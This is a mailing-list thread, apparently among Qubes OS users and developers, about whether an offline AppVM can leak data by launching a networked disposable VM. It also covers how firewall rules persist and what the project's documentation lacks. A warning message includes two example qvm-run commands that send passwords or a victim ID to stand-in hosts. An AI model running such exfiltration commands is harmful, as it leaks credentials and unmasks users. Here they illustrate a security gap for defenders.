haven't found RSS feed with comments from all the tickets (which would be
*very* convenient for me to not miss some ticket details, especially when I'm
not on ticket cc).

[Franz]

Thanks Axon! Much clearer now. Thanks to Joonas too for the additional explanation.

[Axon]

Vincent Penquerc'h:

Just to add to this:

Some people (e.g., security researchers) may want to use an OfflineVM
(i.e., AppVM with no NetVM) in order to analyze known malware samples.
So, someone sends me a file which I believe is malware. I send it to my
OfflineVM and open it there because I expect it will try to phone home
or download something.

Of course, in light of the covert channel issue, this is a very bad
idea. (I wonder what kind of VM/sandboxing software (if any) is safe for
this sort of thing, then? Can it be installed inside a Qubes VM?)

[Axon]

Joonas Lehtonen:

>> Thanks to Joonas for the evident effort, but, after reading it 4
>> times, I would like to avoid to have to really understand it.
>
> Yes, the email was originally written and intended for the devs, but
> to make it more clear:
>
> - do _not_ assume blindly that your offline AppVM (netvm => 'none')
> can not upload your keepass db file to the Internet via a disposable VM:
>
> qvm-run --dispvm firefox
> tell-me-your-passwords.com/?username=foobar&password=secret...
>
>
> - do _not_ assume that a torified VM behind torvm can not simply
> bypass the torvm and tell the attacker your real IP via:
>
> qvm-run --dispvm firefox tell-me-your-real-ip.com/?id=victimID123
>
>
>> 1. I never use the "open in DVM" command to open files of an
>> offlineVM
>
> The question is not whether you use DispVMs but whether the attacker
> is able to start a disposable VMs (code execution is a pre-requirement
> here).
>
>> 2. I do not change the firewall rules in relation to an offlineVM,
>
> If you never changed your firewall settings prior to setting your
> netvm to none then you are probably safe.
>

It depends on how he initially created his OfflineVM. If he initially
created it with QVMM with "Allow networking" selected, then I believe it
will have fully permissive firewall rules by default, and those rules
appear to be retained even if the NetVM is changed via QVMM. (However,
this is not straightforward to check, because the firewall tab is
disabled if no NetVM is selected.)

>
> As a side note:
> A detail has been ignored that this problem/feature only occurs/works
> if you use the gui, I wasn't able to reproduce it when using
> qubes-prefs -s netvm none offlineVM123.
>

What do you mean? The firewall rules are automatically changed when
issuing that command but not when selecting "none" for the NetVM in QVMM?

[Axon]

Hakisho Nukama:

Yeah, that would probably be better. :)

I personally opt for "deny all" because I never use it, so it doesn't
seem worth risking a mistake for zero benefit. I prefer to just lock
everything down and forget about it. :)

[Franz]

I created it with QVMM directly as a no-netvm VM, but if this detail, that seems irrelevant, is so critical, it may be worth to add it to the security guidelines.

Or, better, add a properly configured vaultVM to the default installation of Qubes, in addition to work, personal, netvm etc. Who is going to use Qubes without a vaultVM?

[Joonas Lehtonen]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

>>> 2. I do not change the firewall rules in relation to an
>>> offlineVM,
>>>
>>> If you never changed your firewall settings prior to setting
>>> your netvm to none then you are probably safe.
>>>
> It depends on how he initially created his OfflineVM. If he
> initially created it with QVMM with "Allow networking" selected,
> then I believe it will have fully permissive firewall rules by
> default, and those rules appear to be retained even if the NetVM is
> changed via QVMM. (However, this is not straightforward to check,
> because the firewall tab is disabled if no NetVM is selected.)

Originally I did test for exactly that (VM created with network ->
network set to 'none') and were _not_ able to access anything from
dispvms created from within that AppVM, but while testing that again
to confirm my previous observations - I was able to access everything
(so I probably didn't create it exactly the same way) and besides that
stumbled on another bug/feature.

So to sum it up - you are not safe even if you never changed your
firewall settings.

The sad thing here is that you can not tell whether you are seeing a
bug or a feature since there is no documentation about how certain
things are *supposed* to work ;)

Making assumptions about security related properties without having
any specs to back your assumptions up can be rather dangerous.

(and even if you would go ahead and start reading the code you can not
tell whether the code implements the developers intentions or if
there is simply a bug in the code)
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJTiZr7AAoJEG58zmw5nc+vm3IQAJNUqvcCO78xkRpJMOt/jbEt
nfNip63UET64B65OEyqXS+KxfOvVPXFdKfdeSmKztyDu3Gd/09vGI7PtG9HQUxLN
wwn72/VPbB7/gCFkE4E2KlDYsZCzIOHkqFdYY/P4QTHA+WEEeoEU4QSFfGFo0KzI
j2blZ1XtjSyy3TSNIhqvA8kQ0HnRc/OE9peJeeZIGI6YKUpwWAXlxkXqGdBmbZRR
xr+w/ABJwTsyGpbWSsko/k2xolFs61C/uAUa+R6qtwATYxMQTD/32EKQrpXMTs1A
/vtk6ugcKWRzXaGcYll2Nu7xY4hpp3VatUWYZpqNHysssJ1tfgQjPRbEkWdoHBra
PhChgDrMP09TxYzPux+lzHZgepv1VysJUZuGNNauDUBZ8nByyFPJLiMtrpMpfMQn
9DtYxGzUPrdTvFDLhXg0oyy49Py/ys6qfTEGx19L3wuc2WC8hgeTS/YJ5teRsDVH
/Tbm6/QN4Hqtf0Q/01gwS7QD59KknIF9b/K2h3RkBWQZG+HQycitLtvMcyc8ZcYE
fbzRjse7gTS+fgPKc7wJXRUxJu2tdX+0vrYNbkBcx4YnmurWUOQcHXiN9X+t5fBA
P7/rcyfbZZTC4Ga1kIr15L2adlYNDh7wgczeHFGnVFmYDN2qxwDBhWBUU4tzI24A
dPTYRSJ1PlPFN0iGETlE
=6TOU
-----END PGP SIGNATURE-----

[Joonas Lehtonen]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

> btw: another negative side effect of having a closed bugtracker is
> that people are unable to subscribe to tickets

That reasoning is actually wrong, you can have a closed bugtracker and
feed the trac update emails into a (read-only) mailing list - like
other projects do.

https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-bugs
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJTibXPAAoJEG58zmw5nc+vnYgQAJZICZLQxVrOrWeEhNAyNDYU
PPCP583VI6bkdBpEWfYkGdb2vEfTiOSCpRl36PMj9DxHo8B6gp8N40ocZI4fsm39
/V/dLwNx4K0sA8Y1BhSE8xce/r12XL060lD7H+WCYOoFg2n3M0iRdPTLEjKtG2yn
zEr170KQ3BsF4zR1+ZhmQSRz/3vW6A6MHLw5LepdObJi0ATJd0U7xsDRJmNTLZ1I
ywrddejYvy+Em6YClD1/GD94MD0UDVewogChrdS8luqjfdWACXdbzwcQ3HjlveIM
K5B9YXHUY4wqYrw81aBj8vsP2iSfTgrlWeqb0eC7l+C7jRZYknq0ptnmy+XAjCoC
qVhc4eCbNJN45VlKZ7gFWmHANVaUvlXMnlIO9vU1PzNQF1TsSqLN6G9tYOZDG1Sv
mpcp1cwJw/HjESYiC/agC11S2uB4MtS19Zm+PM7ZdSmyH2snRfGMVGYzHe2y3IkG
A4niiXIre6E1Z/j4y9IKrXy6Cs2FvOl36Yx+Mq3fzC1ZEr+YgQKfycrfzoW3XIzB
kkXF8GyaLS5bKnCevOlcqrkkBN/dY+GfurjayY7Wo/Q4jHkI26DVABMqs0olWvnd
okf87+qukhx407i4MabWlHS9bk0hjelRu7L5CD/HWOxziBdpzl29lQKOG6kugQW7
TBz7spR9iXmhdLP+2Yke
=C1Td
-----END PGP SIGNATURE-----

[Joanna Rutkowska]

There is a way how you can tell... it's by writing to the mailing list
and having a discussion :) And afterwards you can help by improving the
documentation in the wiki.

joanna.

[Joonas Lehtonen]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

>> The sad thing here is that you can not tell whether you are
>> seeing a
>>> bug or a feature since there is no documentation about how
>>> certain things are *supposed* to work ;)
>>>
>>> Making assumptions about security related properties without
>>> having any specs to back your assumptions up can be rather
>>> dangerous.
>>>
>>> (and even if you would go ahead and start reading the code you
>>> can not tell whether the code implements the developers
>>> intentions or if there is simply a bug in the code)
>>>
> There is a way how you can tell... it's by writing to the mailing
> list and having a discussion :) And afterwards you can help by
> improving the documentation in the wiki.

Besides not being overly successful with 'writing to the mailing list'
either (probably because I simply have to may questions and wrote to may
emails) I don't think that there should be a discussion needed if an
end-user wants to find out how designed and implemented things are
working (or are supposed to work). After all it has been designed and
implemented already.

I think discussions are more appropriate for upcoming features/changes
where it is not entirely clear how it should be designed or implemented.
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJTlCCXAAoJEG58zmw5nc+vqtEP/AwRd6Tst4Or5T+z2kcjm/kB
Bj4jglaUP3CJb+P72RZgB20e2R/qbG3rVd9/fLA6rHXQraHhjJKP1TJLs0rnbPNF
gu+Cs8mLTHghzwAF7ppiRGKpmd+nmPqDxnMlBbVmvJydfGvKVB+Ih6i0iKOOL1T2
8rm1Y+QKWQXuefdY4xvANR71afYbzwoXqEbrMIJP6x+2+GtFQ51snflshJvmGWYH
hWxYXtJ8IyLGkFPWB6+7GUz4XirhgDswR/xAkKmTdaWO8jh8BNdgNH4hYB5pujmr
diIA/HmGb2CuMz14CcouWv5ORWBoCHQL8DMBdfp0ybe+QI3BzXqL8kexmx+FsIUi
wZU5Jju5nZVM00sWGlON883beSvQFoPT5evKyr2N75yBEufx+1ZyIhXN6/eJXLCa
wu46lNNF8GO6barnsijyd2TLE411LMVVTeFzL0nYv+hxQe7vuZQU89HhEWvI7d0Q
5aIDB2JwJ1sQJQyWzpWbezgN9c9KGXcNgITAkLVqAw+6LsUmSdF/znrf30RWD0Gg
KkdKyDd2h5EKfJtiPexSLtxjHEH5yWQbWLln9+DQtduGVBKu75d9waIm09oNGGo5
MeDW5wsSVbYL2ryAslTkFnxz3Eo0C172P0heq6GyosvsOsctIhZzkT0s0aQ4u2kp
nPjFsqCp4lpEIH9qZb4Y
=ZrcF
-----END PGP SIGNATURE-----

[Marek Marczykowski-Górecki]

On 31.05.2014 11:03, Joonas Lehtonen wrote:
>>>> 2. I do not change the firewall rules in relation to an
>>>> offlineVM,
>>>>
>>>> If you never changed your firewall settings prior to setting
>>>> your netvm to none then you are probably safe.
>>>>
>> It depends on how he initially created his OfflineVM. If he
>> initially created it with QVMM with "Allow networking" selected,
>> then I believe it will have fully permissive firewall rules by
>> default, and those rules appear to be retained even if the NetVM is
>> changed via QVMM. (However, this is not straightforward to check,
>> because the firewall tab is disabled if no NetVM is selected.)
>
> Originally I did test for exactly that (VM created with network ->
> network set to 'none') and were _not_ able to access anything from
> dispvms created from within that AppVM, but while testing that again
> to confirm my previous observations - I was able to access everything
> (so I probably didn't create it exactly the same way) and besides that
> stumbled on another bug/feature.

I cannot reproduce this. Can you give the exact steps?

> So to sum it up - you are not safe even if you never changed your
> firewall settings.
>
> The sad thing here is that you can not tell whether you are seeing a
> bug or a feature since there is no documentation about how certain
> things are *supposed* to work ;)
>
> Making assumptions about security related properties without having
> any specs to back your assumptions up can be rather dangerous.

Yes, you're right. We have problem common in (almost) all open source project
- documentation has lowest priority... Feel free to help us :)

> (and even if you would go ahead and start reading the code you can not
> tell whether the code implements the developers intentions or if
> there is simply a bug in the code)
>